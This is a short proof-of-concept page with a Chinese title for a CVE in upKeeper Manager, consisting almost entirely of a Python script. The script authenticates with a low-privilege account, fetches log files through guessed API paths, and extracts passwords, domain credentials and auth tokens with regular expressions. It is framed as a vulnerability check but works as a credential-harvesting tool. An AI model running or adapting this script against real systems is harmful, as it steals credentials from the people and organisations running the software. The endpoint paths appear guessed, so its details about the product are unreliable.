CVE-2025-11446 upKeeper Manager敏感信息日志泄露漏洞

# CVE-2025-11446 PoC - upKeeper Manager Log File Information Disclosure # This PoC demonstrates the information disclosure vulnerability import requests import os import re def check_vulnerability(target_host, username, password): """ Check if the target upKeeper Manager is vulnerable to CVE-2025-11446 """ print(f"[*] Checking CVE-2025-11446 vulnerability on {target_host}") # Step 1: Authenticate with low-privilege account login_url = f"{target_host}/api/auth/login" login_data = { "username": username, "password": password } try: session = requests.Session() response = session.post(login_url, json=login_data, timeout=10) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated with low-privilege account") # Step 2: Access log files log_paths = [ "/logs/upkeeper.log", "/logs/application.log", "/data/logs/upkeeper.log", "/var/log/upkeeper/upkeeper.log" ] for log_path in log_paths: log_url = f"{target_host}/api/logs{log_path}" log_response = session.get(log_url, timeout=10) if log_response.status_code == 200: print(f"[+] Found log file: {log_path}") # Step 3: Search for sensitive credentials in logs credential_patterns = [ r'password[:\s]+([^\s,}]+)', r'credential[:\s]+([^\s,}]+)', r'domain_credential[:\s]+([^\s,}]+)', r'auth_token[:\s]+([^\s,}]+)' ] for pattern in credential_patterns: matches = re.findall(pattern, log_response.text, re.IGNORECASE) if matches: print(f"[!] Potential sensitive information found: {matches}") # Step 4: Extract and report findings return { "vulnerable": True, "log_file": log_path, "credentials": matches } return {"vulnerable": False, "message": "No vulnerable log files found"} except requests.RequestException as e: print(f"[-] Error: {e}") return {"vulnerable": None, "message": str(e)} if __name__ == "__main__": target = "https://upkeeper-manager.example.com" user = "low_privilege_user" pwd = "password123" result = check_vulnerability(target, user, pwd) print(f"\n[*] Result: {result}")